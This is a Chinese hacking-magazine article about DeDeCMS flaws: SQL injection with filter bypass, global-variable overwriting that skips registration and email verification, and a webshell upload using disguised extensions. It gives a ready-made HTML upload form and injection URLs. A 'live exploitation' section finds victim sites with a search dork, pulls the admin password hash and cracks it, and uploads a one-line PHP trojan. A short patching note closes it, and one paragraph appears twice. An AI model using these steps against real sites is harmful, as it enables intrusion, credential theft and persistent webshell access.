原文来自:https://www.zixuephp.com
摘自黑客防线2012年2刊。
作者:Cschi
注入漏洞
漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
//编辑分组
elseif($action == 'post')
{
if(empty($membergroup)){
echo "您还没有设置分组!";
exit;
}
$sql = "UPDATE ` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';";
$dsql->ExecuteNoneQuery($sql);
$row = $dsql->GetOne("SELECT groupname FROM WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}"); //数字型注入
echo " ".$row['groupname']."<a href='#' onclick='EditMemberGroup($mid);return false;'>修改</a>";
}
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。
绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下:
if (!function_exists('CheckSql'))
{ function CheckSql($db_string,$querytype='select')
{global $cfg_cookie_encode;
$clean = '';$error='';$old_pos = 0;$pos = -1;
…(略)
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符,
if(preg_match("/".$notallow1."/", $db_string))
{//①preg_match未使用参数i,使用大写绕过,如:Union
puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
while (TRUE)
{ $pos = strpos($db_string, '\&;', $pos + 1);
if ($pos === FALSE)
{break; }
//②假如字符串$db_string中不存在“\&;”退出while循环,存在则继续向下执行
$clean .= substr($db_string, $old_pos, $pos – $old_pos);
while (TRUE)
{ …(略) }
$clean .= '$s$';
//③将字符串$db_string中"\&;"和"\&;"之间的字符转为"$s$",即信任之间的字符串,绕过防注入的关键
$old_pos = $pos + 1;
}
…..(继续接如下代码)
}
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//④"\s"匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写
//⑤再次检查union关键字
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//⑥依次检查–、#、benchmark、load_file、outfile、select等关键字
elseif (strpos($clean, '
require_once (dirname(__FILE__) . "/include/common.inc.php");
require_once (DEDEINC . "/arc.taglist.class.php");
$PageNo = 1;
print_r($GLOBALS);
exit;
//增加这两行代码,输出全局变量
if(isset($_SERVER['QUERY_STRING']))
…(略)

在URL中提交:_POST[cfg_var]=Y,然后查看页面源码,观察_GET和_POST数组如图10,当执行语句②后,_GET数组中的变量被转为_POST数组中,最后转为全局变量如图下。

分析DeDeCMS获取和注册变量的过程如下:

if (!defined('DEDEREQUEST'))
{
…(略)//检查和注册外部提交的变量,语句①,代码见前文
}
//系统配置参数,语句②
require_once(DEDEDATA."/config.cache.inc.php");
//数据库配置文件,语句③
require_once(DEDEDATA.'/common.inc.php');
…(略)
//模板的存放目录,语句④
$cfg_templets_dir = $cfg_cmspath.'/templets';
$cfg_templeturl = $cfg_mainsite.$cfg_templets_dir;
…(略)

首先语句①检查和注册外部提交的变量,然后语句②、③初始化全局变量(系统配置参数、数据库配置参数),最后语句④初始化网站的其他全局变量。所以即使语句①成功提交了以“cfg_”开头的网站全局变量,比如提交“cfg_mb_open”(是否开启会员功能)值为“Y”,随后还是会被初始化为网站设置值,目前还无法修改全局变量。此方法适合:GET方式提交_POST和_COOKIE,POST方式提交_COOKIE。
修改全局变量。DeDeCMS同时还通过include/filter.inc.php包含文件过滤不相关内容,比如禁止提交$cfg_notallowstr变量定义的字符,过滤$cfg_replacestr变量定义的字符为“***”等,代码如下:

//过滤不相关内容
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
…(略) //禁止提交$cfg_notallowstr变量定义的字符
}
return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v); //注册变量并过滤变量值
}
}

过滤不相关内容的同时注册变量!搜索“filter.inc.php”文件包含情况如图12,如member/config.php文件,首先包含common.inc.php文件,然后再包含filter.inc.php文件,因此可以修改以“cfg_”开头的全局变量。图中这几个页面文件以及包含这几个文件的页面均可以提交和修改全局变量,几乎member目录中所有的页面文件均受此影响。

利用一:绕过注册限制注册新会员。变量cfg_mb_open决定是否开启会员功能,变量cfg_mb_allowreg决定是否开启新会员注册功能,“N”为关闭,否则开启功能,所以即使网站关闭会员功能,只要提交cfg_mb_allowreg变量不为“N”,便可以成功注册新会员,提交cfg_mb_open变量不为“N”,则可以使用曾经注册的会员继续登陆!绕过的方法有:

方法一:修改注册提交页面源码,将form的action值改为“http://127.1/member/reg_new.php?_POST[cfg_mb_allowreg]=Y”,其中“127.1”根据实际修改。
方法二:修改注册提交页面源码,在form中增加“input”元素,name属性为“COOKIE[cfgmballowreg]”,值为“Y”(非“N”)。

利用二:注册已审核新会员。DeDeCMS系统默认设置时,新注册会员后需要邮件验证,全局变量cfg_mb_spacesta值为会员使用权限开通状态,默认 “-10”为需要邮件验证,“-1”为手工审核, “0”为没限制,注册页面reg_new.php的代码如下:

$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
$inQuery = "INSERT INTO ` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
if($dsql->ExecuteNoneQuery($inQuery))
…(略)

所以提交变量$cfg_mb_spacesta值不小于0,注册的会员将不需要邮件验证和审核,利用前文的方法二修改注册提交页面源码,提交不含“1”的变量safe_gdopen可以绕过验证码限制,详细利用略。
利用三:全局变量注入。使用DW在member目录搜索“(select |update|insert ).*(cfg_)”字符串(即使用全局变量的Sql语句),如图13,获得album_add.php、archives_add.php、article_add.php等页面,使用“$cfg_sendarc_scores”全局变量,并且以数字型引入Sql语句,如“"UPDATE ` SET scores=scores+{$cfg_sendarc_scores} WHERE mid='".$cfg_ml->M_ID. "' ; "”。

前文提及的注入漏洞二必须获知$cfg_cookie_encode变量,这里我们完全可以提交变量$cfg_cookie_encode为空,满足条件,受影响页面有memmber目录中的reg_new.php、edit_fullinfo.php等页面。详细利用略。
利用四:全局变量上传木马。会员上传页面为member目录中的uploads_add.php、uploads_edit.php等,上传函数MemberUploads定义在include/helpers/upload.helper.php文件,分析代码如下:

前文提及的注入漏洞二必须获知$cfg_cookie_encode变量,这里我们完全可以提交变量$cfg_cookie_encode为空,满足条件,受影响页面有memmber目录中的reg_new.php、edit_fullinfo.php等页面。详细利用略。
利用四:全局变量上传木马。会员上传页面为member目录中的uploads_add.php、uploads_edit.php等,上传函数MemberUploads定义在include/helpers/upload.helper.php文件,分析代码如下:

if(preg_match("/(asp|php|pl|cgi|shtm|js)$/", $sname)) //⑤大写绕过,如:Php
{
ShowMsg('你上传的文件为系统禁止的类型!', '-1');
exit();
}
…(略)
move_uploaded_file($GLOBALS[$upname], $cfg_basedir.$filename) or die("上传文件到 {$filename} 失败!"); //⑥使用move_uploaded_file函数完成文件上传
@unlink($GLOBALS[$upname]);
…(略)
}

我们可以提交全局变量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定义允许上传的文件类型,使用大写扩展名并增加空格等符号,比如“P hp”等,首先绕过include/uploadsafe.inc.php对php类型的限制,然后经过代码②过滤空格后绕过代码⑤限制,最后使用move_uploaded_file函数完成文件上传。漏洞利用必须登陆用户,将下面代码另存为upload2.htm,页面如图14。

<form name="form1" action="http://127.1/member/uploads_add.php" method="post" enctype="multipart/form-data" >
<input type="hidden" name="mediatype" value="4" />
<input type="hidden" name="_GET[cfg_mb_addontype]" value="P hp|Php|php" />
<input type="hidden" name="dopost" value="save" />
<input name="addonfile" type="file" id="addonfile" />
<button class="button2" type="submit" >提交</button>
</form>

将待上传的Php文件扩展名改为“P hp”,然后利用该页面完成上传,从地址栏得到新文件名,如图下。

全局变量漏洞判断。在地址栏提交“_POST[cfg_xxx]”,如果页面返回“Request var not allow!”则安装过8月12日补丁,不存在全局变量漏洞,如果页面没有出错返回正常,则存在该漏洞,如图下。

或者访问“data/admin/ver.txt”文件,获取系统最后升级时间,确认是否安装过8月12日补丁。访问“/data/admin/verifies.txt”,获得指纹码最后同步时间。

系统最后升级时间:http://127.1/data/admin/ver.txt
指纹码最后同步时间:http://127.1/data/admin/verifies.txt

几个常见的指纹码同步时间:

漏洞利用实例
百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用DeDeCMS系统的网站。
注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,如图17说明已经修补2011年8月12日补丁,

然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,如图18说明存在该漏洞。

于是访问页面链接` Union select pwd from ` where 1 or `”,如图19,去掉前三位和最后一位,得到管理员的16位MD5码,www.cmd5.com在线破解成功。

上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,只要登陆会员中心,然后访问页面链接“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”如图20,说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”

于是将Php一句话木马扩展名改为“rar”等,利用提交页面upload1.htm,如图21,直接上传成功,如图22。
漏洞修补
目前官方没有升级包,简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”以及空格等字符结束等。